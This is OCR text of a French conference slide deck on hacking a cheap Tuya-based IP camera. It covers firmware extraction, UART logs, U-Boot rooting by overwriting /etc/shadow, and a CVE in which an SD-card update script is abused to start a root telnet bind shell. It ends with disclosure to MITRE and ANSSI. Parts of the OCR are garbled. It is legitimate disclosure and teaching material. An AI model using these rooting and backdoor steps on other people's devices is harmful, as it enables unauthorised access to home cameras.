Cameéra chinoise

© 2026 LGDD. Ce document est protégé par le droit d’auteur. Toute reproduction, distribution ou utilisation, méme partielle, est

interdite sans accord préalable des auteurs.



Qui sommes nous

e Fais des memes e Fais du pwn
E;‘ﬁ e Ale coeur brise

e PRa20kgauDC

O wepfen
P\ . .
W wepfen.github.io 88 istaarkk.github.io

© 2026 LGDD. Ce document est protégé par le droit d’auteur. Toute reproduction, distribution ou utilisation, méme partielle, est
interdite sans accord préalable des auteurs.



Pourquoi ? -
@ "

4 new CVEs I discovered in th@ FNK Vision IP camerafhave now been published.

This IP camera brand is amor v in Thailand, with over
A Ia mOde sur Linkedin 600,000 units sold on major e-commerce platforms.
. N Valentin Lobstein @ - I
Les side quests a 2600 ember offechnicaiaf @ Vlnche
Action vend des caméras pas chéres & CVE-2025-34147 - Remote Code Execution on
Dinesh Aswin S @ - ,
Apprendre et tester des trucs Q Irimals Aswion S 0 = I + Suivre
' ®

Pour briller en societe « Critical Security Vulnerability Discovered i

Repeater (CVE-2025-34147) &

g‘g Eugene Lim @ 2 7 2+ Se connecter
-‘ . " fe® -

I found a remote code execution vulnerability on the lates§TP-Link Tapo camera
models! The path to code execution wasn't direct and invoived a eres

etc A chain (3 CVEs). Check out my blogpost for more details!




La cameéra

o 9€95
e Moins chére qu’un -z'ﬁ?,;s

e Appli mobile, cloud, micro, carte SD
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Les chercheurs avant nous .

LGDD

NOUS
CVE-2024-51362 -> Flux vidéo non LES AUTRES CHERCHEURS

authentifié

>

lors de la configuration =

CVE-2025-25680 -> Injection de commande



https://shinxyy.github.io/blogs/CVE_2024_51362.html
https://github.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-25680

Méthodologie b o
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Officiellement Officieusement
e OWASRP loT Security Testing Guide e On écoute notre coeur et notre instinct
e OWASP Firmware Security Testing o ‘

Methodology
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Extraction du firmware Y
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CH341A flash
programmer




Extraction du firmware Y
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Extraction du firmware Y
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Extraction du firmware
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Extraction du firmware e
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.— 1E8000 . , .,
En magasin En réalité

L squashfs-root
— bin

- LSC SMART INDOOR  gyrcouche Tuya
IP GMEﬂg £ linux + busybox

— 1lib

— Tlinuxrc -> bin/busybo>

— mnt

— proc

— sbhin

— sys

— tmp

— usr

— var

— 2E8000
L— jffs2-root

— activation.tuya.ini

— hello_stranger.txt

— helloworld.txt

— legacy_factory_cfg.ini

— legacy_ptz_cfg.ini

M=t

|
|
=8’
. §
2 k—
%

(==
./_-

— 328000
L— squashfs-root
s bin
— 1ib ——
— Tlocal ;‘i:‘
— modules -
y - ~

— share



Cameéra connectée - Debug live (UART)
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Cameéra connectee - Debug live (UART)

~ZMDBI+: ~+8ZMMB~

mount all file system...
adev is ok......
starting mdev...

(none) login: [ 1.599531] device <tmi8152> not found

[ 1.607536) device <tmi8152> not found

insmod: can‘t insert ‘/usr/modules/tmi8152 spi-gpio.ko': No such device
using gpio motor controller

4.830860] [atbm log]:atbm usb exit:usb deregister
4.838309] [atbm log):atbm usb exit---------
4.843131] [atbm log]:ieeed88211 iface exit
4.874375) [atbm log]:atbm usb module exit--@

] dokodemo{rmmod /usr/modules//atbm603x HT20.ko)=9

] dokodemo(lsusb > /tmp/enumerate usb devices-9383.txt)=9
] dokodemo(lsusb > /tmp/enumerate usb devices-0886.txt)=9
] dokodemo(lsusb > /tmp/enumerate usb devices-2777.txt)=9
] enumerate usb device 2 time 1.519¢

: can't unload module 'atbmG6@3x WT20': Mo such file or directory

dokodemo (rmmod /usr/modules//atbm603x HT20.ko)=9,Bad file descriptor
usb device enumarate 2.

enumarate usb device[8] vendor=087a product=888b.

enumarate usb device[l) vendor=1d6b product=0002.

db memory get heap size 1048576

SIOCGIFFLAGS: No such device

| dokodemo(ifconfig wlan® down)=9,Bad file descriptor

can't unload module 'atbm6@3x HT28': No such file or directory

00:00:00.188| debug|
(00:00:00.697| debug|
(00:00:01.203| debug|
[00:00:01.710) [T
[00:00:02.211| debug|
rmmod

[00:00:02.216] debug|
[00:00:02.218| debug|
[00:00:02.218| debug|
[00:00:02.218| debug|
[00:00:62.219| debug|
ifconfig:
[00:00:02.250| debug|
rmmod :

[008:00:02.261| debug|
[00:00:02.287| debug|
[00:00:02.287| debug|
[00:00:02.289| debug|
[00:00:02.317| debug|
(00:06:02.317| debug|
[00:00:02.364| debug|
[00:00:62.425| debug|
[00:00:62,425| debug|
(00:00:02.425| debug|
[08:00:02.426] debug|

dokodemo ( rmmod /usr/modules//atbmb03x HT20.ko)=9,B8ad file descriptor
db memory put heap size 1048576

db memory get heap size 1048576

db memory put heap size 1048576

aux ir use soft ps anyka() skipped for chipset <T23>

aux_ir use soft ps t23(1400000,20000,38)

normalize (AudioOutputGain=13)=19

normalize (AudioInputGain=38)=68

no motor devices found.

"ddrv motor.c:921" Condition ( "(( motor fd[€] > @ || wmotor fd[1] > 8) || (8))" ) Failed.

ipc_core::video::input::set option(®,19) skipped
0 192ex1ese

Audio In GetPubAttr samplerate : 16006

Audio In GetPubAttr frolum : 40

Audio In GetPubAttr numPerFrm : 648

Audio In GetPubAttr chnCnt : 1

¥
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Cameéra connectée - Rooter avec u-boot

~ # 1s —-I.ln!p

dev
etc

bin
data

i
11

~ # Login incorrect

(none) login: [ 496.thog watchdog®: watchdog did not stop!
[ 499.092952] watchdog watchdog®: watchdog did not stop!

Password:

[ 502.099335] watchdog watchdog®: watchdog did not stop!

ps

Login incorrect

(none) login: PID

1

VOO TN

108

root
root
root
root
root
root
root
root
root

[l ol ool o R oo ool

100
:00
100
:00
:00
:00
:00
:00
008

b mnt sbin
nuxrc proc sys

USER TIME COMMAND
/bin/sh
[kthreadd]
[ksoftirqd/@]
[kworker/0:0H]
[kworker/u2:0]
[rcu_preempt]
[rcu_bh]
[rcu_sched]
[watchdoa/al
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Caméra connectée - Rooter avec u-boot ~ *J*
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1. Brancher le uart2usb

2. Allumer la caméra
3. Spammer la touche entrée

POV: T'essaies de
rentrer dansle menu U- llﬂﬂlv_

Net: ====>PHY not found!Jz4775-9161
Hit any key to stop autoboot: ©
isvp_t23#

isvp_t23#

isvp_t23#

isvp_t23#

isvp_t23#

isvp_t23# |
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Caméra connectée - Rooter avec u-boot ~ *J*
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up_bootargs=setenv bootargs console=ttyS1,115200n8
mem=${holily mem}M@Ox0 rmem=18M@Ox2e00000 init=/bin/sh
rootfstype=squashfs root=/dev/mtdblock5 rw mtdparts= ${mtdparts}

/1linuxrc &

mkpasswd --method=md5crypt root
$1$jvGL1kyA$HQc1uwXglAnjp@ZLCjUpn.

echo 'root:$1$jvGL1kyA$HQc1luwXglAnjpOZLCjUpn.:3651:0:99999:7:::" >
/etc/shadow



amera connectée - Rooter avec u-boot

(none) login: [ 3960.855122] watchdog watchdog®: watchdog did not stop!
root

Password: ﬂ

2O
.col::l::,..co. .. ,:cd000d.
RAS cOx;xWL :0.cB0xc,,,,
:0OXWL ., :o0:.
XXX 50k
TRe e
.d; ;0.
i
R TIAEE
.. .COdONNNNNNNNNOoooO: . ..

Where there is a will, there is a way.

[tuya ~ ]# [ 3963.871670] watchdog watchdog®: watchdog did not stop!
3966.878078] watchdog watchdog®: watchdog did not stop!
3969.885073] watchdog watchdog@: watchdog did not stop!
3972.896447] watchdog watchdog®: watchdog did not stop!
3975.907777] watchdog watchdog®: watchdog did not stop!
3978.9196808] watchdog watchdog®: watchdog did not stop!
3981.926837] watchdog watchdog®: watchdog did not stop!
3984.937499] watchdog watchdog®: watchdog did not stop!
3987.944145] watchdog watchdog@: watchdog did not stop!

[ 3990.950504] watchdog watchdog@: watchdog did not stop!
[00:59:04.035| debug| ] tuya_ipc_get_service_time_force(1762883772, 3660)
[ 3993.965147] wat watchdogB: watchdog did not stop!

1s
bin dev mnt sbin tmp var
data e linuxrc proc sys usr

[tuya ~ ]# [ 3996.972375] watchdog watchdog®: watchdog did not stop!
=1

WILLIT
WORK?
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How to find a CVE

En reversant on trouve la structure du boot

System Init
+ BOOT

mount_sd-card.sh "$SDC_DIR"

if [ $? -eq @ ]; then

tf_upgrade.sh "$SDC_DIR"

: 5 i
Update if [ $? -eq @ ]; then
ER e i umount "$5DC_DIR"
reboot

fi

if [ -f $SENSOR_ISP_HOOK ]; then
firmware
s AP oien
upgrade .
script fall fi

and if [ -f $SDC_HOOK ]; then
firmware fi

Update nor upgrade £i
sh succeed




How to find a CVE: Y
Processus de mise a jour jﬁ

Carte SD montée
- local/sbin/start_app.sh 8

cp update.nor.sh /tmp/update.nor.sh
chmod +x /tmp/update.nor.sh

update.nor.sh g



How to find a CVE | jTﬁ
Processus de mise a jour (carabistouillé)
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Carte SD montée local/sbin/start_app.sh 8

-+ camera-action telnet 172.31.124.23 2323
Trying 172.31.124.23...
Connected to 172.31.124.23.

C ‘ B Escape character is ']'.
| ~ # id
uid=6(root) gid=6(root)
~# I

telnetd -1 /bin/sh -p 2323 &




Processus de signalement:

e Attendre 1000 ans

Report CVE : MITRE
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Report CVE : MITRE

tion du rapport

Accusé de récep
@ Traduction:

RE: Responsible Disclosure ~CVE-2025-65817 [RM#1073744] (&xemal

ez trouver plus

dant ici v

merci pour la vuln et on te

répondra plus tard
inshAllah®

Vous po

vous obser s de maniére éthique et responsable évitant toute at

HLB

ANSSUSDO/CERT-FR
Agence nationale de la sécurité des systémes d'information
s-Direction Opérations

boulevard de La Tour-Maubo
onditions

témes d'Information (ANSSI) a la demande d’a:
Cordialement, L’ANSSI

es suites données par LAgence Nationale de la Sécurité des
énérales de réponse i incident sont réputées connues et acceptées par lentité qui bénéficie de I'

EX
REPUBLIQUE -
FRANCAISE U

= CERT-FR
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Bus Pirate Homemade : Blue Tag j\[&
v e Raspberry pi pico (7€)

e Cable femelle

e Blue Tag
= AT
| — |
5 _.
| ,
|=




Easter eggs: La baleine Ay
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Reéférence a whaltevt,
la boite qui produit la caméra

----------



Easter eggs: hello_stranger.ixt

REMREA:

RNFOE !

LIRBRARHENNBRNZEAEE T —HFPHNEKER,

ERZANEMNELT, FTRMANER, BFRFRMNEZTRE, BREAR, EXTEABD, RINNEELFEA.
#E AHAEREE, FRRSEBEMI.

RFAR, —MHE. — MR,

EHBMNXEFLEALEZPHEE, BEXATHGBRAREARNRBAEL,

RPAEMELEZRHAENL, REREREN, RRNERKE, BRFLHAE, TLEFTFARERENLG, REFRAMLEN.
SPABEECHEBRMIEIL, 18&K]&§KEN&Bﬁh;fEﬁiﬂﬁﬂﬁc\]Q

tD%fTELTIﬁZFP BRE

BETE, HERXSEH

HEDR IR, v.ﬂIALH‘r REMBEMMAA.

tﬂ%f‘rEi*‘x‘ﬁﬁimVJaM BLRFER!

BRORFEBRETE, HARRZANE—1

BHRERBNESREBRACHTA, EE%B’JM‘!IU%%«%%&H}$ p &2

BIREREIENA, BREEEPNE—NNEE,

XR—TFRANK,

EEREXE,

MK, BNES,

ZMNEZTERZ, RNDEEAT,

1ﬂﬂ§lu¢ﬁi fARREAAS,

5, SUEREH,
£, EBMTAER,
N ES
EMHA,

2
E
B

mcu !M‘NI&

§
c
HECENNED

)XET’ -*iBK“éua
REHXENFRMR,

Pk -Ro:oR ikl
S—SREBEMEH,
S—SBBEBEFANTR,

i !

G 2 0 BF AR SF S T
&%EDKHMWWW

Trad uction.

En gros il
nous salue et nous
souhaite que du bien

“{ xm

) L=

~

— __ et ¥V

\%
.
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Easter eggs: poem.ixt

New York is 3 hours ahead of California,

but it does not make California slow.

Someone graduated at the age of 22,

but waited 5 years before securing a good job!
Someone became a CEO at 25,

and died at 50.

While another became a CEO at 50,

and lived to 90 years.

Obama retires at 55,

but Trump starts at 70.

Absolutely everyone in this world works based on their Time Zone.

People around you might seem to go ahead of you,

some might seem to be behind you.

But everyone is running their own RACE, in their own TIME.

Don’t envy them or mock them.

They are in their TIME ZONE, and you are in yours!
Life is about waiting for the right moment to act.

So, RELAX.

You’re not LATE.

You’re not EARLY.

You are very much ON TIME,

and in your TIME ZONE Destiny set up for you.

Z

Traduction.

\W%
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Chill, chacun
avance a son
rythme




Easter eggs : inspection du travail It

Rollmops



MERCI POUR VOTRE
ATTENTION
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https://qgithub.com/Istaarkk/CVE-2025-65817

https://shinxyy.github.io/blogs/CVE_2024_51362.html

https://qithub.com/Yasha-ops/vulnerability-research/tree/master/CVE-2025-25680
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